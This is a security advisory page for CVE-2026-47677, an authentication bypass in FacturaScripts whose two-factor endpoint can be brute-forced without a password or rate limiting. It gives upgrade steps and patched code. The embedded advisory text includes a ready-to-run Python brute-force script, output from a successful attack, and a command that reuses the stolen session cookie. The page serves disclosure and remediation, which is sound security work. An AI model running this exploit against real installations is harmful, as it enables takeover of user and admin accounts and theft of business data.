CVE-2026-47677: FacturaScripts Account Takeover Of Any 2FA-enabled Vulnerability
CRITICALCVE-2026-47677 is a CRITICAL account takeover of any 2fa-enabled vulnerability (CWE-287: Improper Authentication) affecting FacturaScripts libraries in the Packagist ecosystem. The issue involves account takeover of any 2fa-enabled user. Remediation is available by upgrading affected packages to version 2026.3.
CVE-2026-47677 at a Glance
How to Fix CVE-2026-47677
To remediate this vulnerability, upgrade all affected FacturaScripts dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade facturascripts/facturascripts to 2026.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for facturascripts/facturascripts
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-47677, inspect your project dependencies for FacturaScripts:
inspect dependencies for facturascripts/facturascripts
Analyze the terminal output to locate any version of FacturaScripts in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.3), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In FacturaScripts, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-47677 Affected FacturaScripts Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
facturascripts/facturascripts
|
Packagist |
< 2026.3
|
2026.3
|
References
Frequently Asked Questions
What is CVE-2026-47677?
Which FacturaScripts versions are affected?
What version fixes CVE-2026-47677?
Is facturascripts/facturascripts affected?
What CWE is associated with CVE-2026-47677?
How can I check Packagist dependencies for CVE-2026-47677?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c67f-gmxw-mj93",
"modified" : "2026-07-13T23:35:48Z",
"published" : "2026-07-13T23:35:48Z",
"aliases" : [ "CVE-2026-47677" ],
"summary" : "FacturaScripts: Account takeover of any 2FA-enabled user",
"details" : "# Authentication bypass in FacturaScripts: `/login?action=two-factor-validation` accepts brute-forceable TOTP without password or CSRF protection\n\n## Summary\n\n`Core/Controller/Login.php::twoFactorValidationAction()` accepts an\nunauthenticated POST containing only `fsNick` and `fsTwoFactorCode`. If the\nTOTP value matches, the server issues a full `fsNick` + `fsLogkey` session\ncookie pair. The handler:\n\n1. **Does not verify the password** — the user is not required to have just\n completed `loginAction`.\n2. **Does not call `validateFormToken()`** — no CSRF token is required (every\n other action handler in the same file does call it).\n3. **Does not call `userHasManyIncidents()` before processing** — `loginAction`\n and `changePasswordAction` both check this guard *before* doing work; the\n 2FA handler only writes to the incident list *after* a failure, and the\n incident list is consulted by `loginAction` / `changePasswordAction` but\n not by the 2FA handler itself. The endpoint therefore has **no\n rate-limiting at all**.\n\nCombined with `TwoFactorManager::VERIFICATION_WINDOW = 8` (google2fa default\nis 1), 17 distinct six-digit codes are valid simultaneously and each remains\nvalid for ~4 minutes. The expected number of guesses to land a valid code is\n\n> N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ **40 800** attempts (50% success)\n\nOn a default LAMP install a single-laptop attacker sustains ~400 RPS from\none source IP — a few minutes per account.\n\nThe vulnerability gives **complete account takeover** of any 2FA-enabled\nuser to any unauthenticated network attacker who knows the target's nick.\nAdmin nicks are typically public information (`admin`, the company name,\nthe person's initials).\n\n## Severity\n\n**CVSS 4.0 base score: 9.3 — Critical**\n\nVector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N`\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. |\n| Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. |\n| Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. |\n| Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. |\n| User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. |\n| Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). |\n| Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. |\n| Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via `loginAction` for 10 minutes (`MAX_INCIDENT_COUNT = 6`, `INCIDENT_EXPIRATION_TIME = 600`). Targeted account-lockout DoS against any nick. |\n| Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. |\n\nThreat metrics:\n\n- Exploit Maturity (E): **Attacked (A)** — public PoC included below, runs out of the box.\n\n## Affected component\n\n- File: `Core/Controller/Login.php`\n- Method: `twoFactorValidationAction()` (lines 317–328 in the repository at commit `7392b489b`, master branch as of 2026-05-13).\n- Related: `Core/Lib/TwoFactorManager.php:30` (`VERIFICATION_WINDOW = 8`).\n\nVulnerable code:\n\n```php\nprotected function twoFactorValidationAction(Request $request): void\n{\n $userName = $request->input('fsNick');\n $user = new User();\n if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {\n Tools::log()->warning('two-factor-code-invalid');\n $this->saveIncident(Session::getClientIp(), $userName);\n return;\n }\n\n $this->updateUserAndRedirect($user, Session::getClientIp(), $request);\n}\n```\n\nCompare with `loginAction` in the same file, which calls\n`validateFormToken()` (line 275) and `userHasManyIncidents()` (line 287)\n*before* doing any work. The 2FA handler does neither.\n\n## Proof of concept\n\n### 1. Brute force when only the victim's nick is known\n\nThis requires **no prior\nknowledge** beyond the target's nick. Because the 2FA endpoint has no\nrate-limiting and `VERIFICATION_WINDOW=8` keeps ~17 codes valid at once,\nrandom guessing finds a valid code in seconds to minutes from a single IP.\n\n`poc_2fa_brute.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: brute-force the 2FA endpoint.\nRequired: pip install requests\n\"\"\"\nimport os, sys, time, random, threading, requests\n\nBASE = os.environ.get(\"BASE\", \"http://localhost:9999\")\nNICK = os.environ.get(\"NICK\", \"admin\")\nTHREADS = int(os.environ.get(\"THREADS\", \"32\"))\nMAX_TRIES = int(os.environ.get(\"MAX_TRIES\", \"200000\"))\n\nhit = threading.Event()\nattempt_count = [0]\nlock = threading.Lock()\nstart = time.time()\nresult = {}\n\ndef worker(tid: int) -> None:\n s = requests.Session()\n while not hit.is_set():\n with lock:\n n = attempt_count[0]\n if n >= MAX_TRIES:\n return\n attempt_count[0] += 1\n code = f\"{random.randint(0, 999999):06d}\"\n try:\n r = s.post(f\"{BASE}/login\",\n data={\"action\": \"two-factor-validation\",\n \"fsNick\": NICK,\n \"fsTwoFactorCode\": code},\n allow_redirects=False, timeout=5)\n except requests.RequestException:\n continue\n sc = r.headers.get(\"Set-Cookie\", \"\")\n if r.status_code == 302 and \"fsLogkey\" in sc:\n with lock:\n if hit.is_set():\n return\n hit.set()\n result[\"code\"] = code\n result[\"n\"] = n\n result[\"cookies\"] = {c.name: c.value for c in r.cookies}\n return\n\ndef main() -> int:\n print(f\"[*] target={BASE} nick={NICK} threads={THREADS}\")\n threads = [threading.Thread(target=worker, args=(i,), daemon=True)\n for i in range(THREADS)]\n for t in threads: t.start()\n while not hit.is_set() and attempt_count[0] < MAX_TRIES:\n time.sleep(2)\n elapsed = time.time() - start\n print(f\" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} \"\n f\"rps={attempt_count[0]/max(elapsed,1):.0f}\", flush=True)\n for t in threads: t.join()\n elapsed = time.time() - start\n if hit.is_set():\n print(f\"\\n[+] FOUND code={result['code']} after {result['n']:,} \"\n f\"attempts in {elapsed:.1f}s\")\n cookie_hdr = \"; \".join(f\"{k}={v}\" for k, v in result[\"cookies\"].items())\n print(f\"[+] Cookies: {cookie_hdr}\")\n print(f\"\\n curl --cookie '{cookie_hdr}' {BASE}/ListUser\")\n return 0\n print(f\"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit\")\n return 1\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\nObserved result against the same install (victim user has 2FA enabled,\nattacker knows only the nick `victim`):\n\n```\n[*] target=http://localhost:9999 nick=victim threads=32\n [ 2.2s] attempts= 1094 rps= 493\n [ 24.4s] attempts= 11535 rps= 473\n [ 50.0s] attempts= 23420 rps= 468\n [100.7s] attempts= 41247 rps= 410\n [144.9s] attempts= 55418 rps= 383\n\n[+] FOUND code=055473 after 55,773 attempts in 146.0s\n[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN\n```\n\nA second run terminated in 24.6 s after 11 569 attempts. Both runs used a\nsingle source IP with no proxy rotation, no HTTP/2, no parallel hosts.\n\n## Impact\n\nFor each 2FA-enabled user (including admins):\n\n- **Confidentiality**: full read access to anything the victim can see —\n invoices, customer data, suppliers, accounting ledgers, attached files,\n user PII, API keys, plugin configuration.\n- **Integrity**: full write access — create/modify/delete records, change\n permissions, issue new API keys, upload plugins, install code (admin).\n- **Availability**: targeted account lockout DoS — generating six failed\n 2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident\n counter past `MAX_INCIDENT_COUNT = 6`, blocking the legitimate user from\n `loginAction` for 10 minutes. Repeatable indefinitely.\n\nThe vulnerability defeats the entire purpose of 2FA in FacturaScripts:\nenabling 2FA on an account today is strictly *weaker* than not enabling\nit, because it adds an unauthenticated, brute-forceable login path that\nwasn't present before.\n\n## Remediation\n\nFour independent fixes are required; each closes a distinct gap and any\none alone is insufficient.\n\n1. **Require evidence the user just completed the password step.** In\n `loginAction`, after `verifyPassword` succeeds and 2FA is required,\n write a short-lived nonce keyed by `(client_ip, user_nick)` to the\n shared cache (e.g. `Cache::set(\"2fa-pending-{ip}-{nick}\", $nonce,\n ttl=300)`). `twoFactorValidationAction` must read, validate, and\n delete that nonce before calling `verifyTwoFactorCode`. Without the\n nonce, return immediately.\n\n2. **Call `validateFormToken($request)` at the top of\n `twoFactorValidationAction`.** Every other action handler in the\n controller does this; the 2FA handler should too. Eliminates\n drive-by CSRF submissions.\n\n3. **Call `userHasManyIncidents(Session::getClientIp(), $userName)`\n before doing any work in `twoFactorValidationAction`**, and bail\n out if the threshold is exceeded. This is the missing rate-limit\n pre-check.\n\n4. **Reduce `TwoFactorManager::VERIFICATION_WINDOW` from 8 to 1.**\n The google2fa default is 1 (±30 s). A window of 8 multiplies the\n brute-force success rate by 17× for no legitimate reason — TOTP\n apps and the server clock are typically synchronised within a\n single 30-second step.\n\nSuggested patch (illustrative):\n\n```php\n// Core/Controller/Login.php\nprotected function twoFactorValidationAction(Request $request): void\n{\n if (false === $this->validateFormToken($request)) { // fix 2\n return;\n }\n $userName = $request->input('fsNick');\n if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) { // fix 3\n Tools::log()->warning('ip-banned');\n return;\n }\n $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;\n if (false === Cache::get($nonceKey)) { // fix 1\n Tools::log()->warning('two-factor-no-pending-login');\n $this->saveIncident(Session::getClientIp(), $userName);\n return;\n }\n Cache::delete($nonceKey);\n\n $user = new User();\n if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {\n Tools::log()->warning('two-factor-code-invalid');\n $this->saveIncident(Session::getClientIp(), $userName);\n return;\n }\n $this->updateUserAndRedirect($user, Session::getClientIp(), $request);\n}\n\n// Core/Lib/TwoFactorManager.php\nprivate const VERIFICATION_WINDOW = 1; // fix 4 — was 8\n```\n\n`loginAction` then needs the matching nonce write where it currently\nsets `$this->two_factor_user`:\n\n```php\nif ($user->two_factor_enabled) {\n Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,\n bin2hex(random_bytes(16)), 300);\n $this->two_factor_user = $user->nick;\n $this->template = 'Login/TwoFactor.html.twig';\n return;\n}\n```\n\n## Reproduction\n\nTested on a clean install built from `master` at commit `7392b489b`:\n\n```bash\n\n# brute force (only nick known) — secret on the server can be anything\nNICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "facturascripts/facturascripts"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2026.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2026.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-c67f-gmxw-mj93"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/NeoRazorX/facturascripts"
}, {
"type" : "WEB",
"url" : "https://github.com/NeoRazorX/facturascripts/releases/tag/v2026.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-13T23:35:48Z",
"nvd_published_at" : null
}
}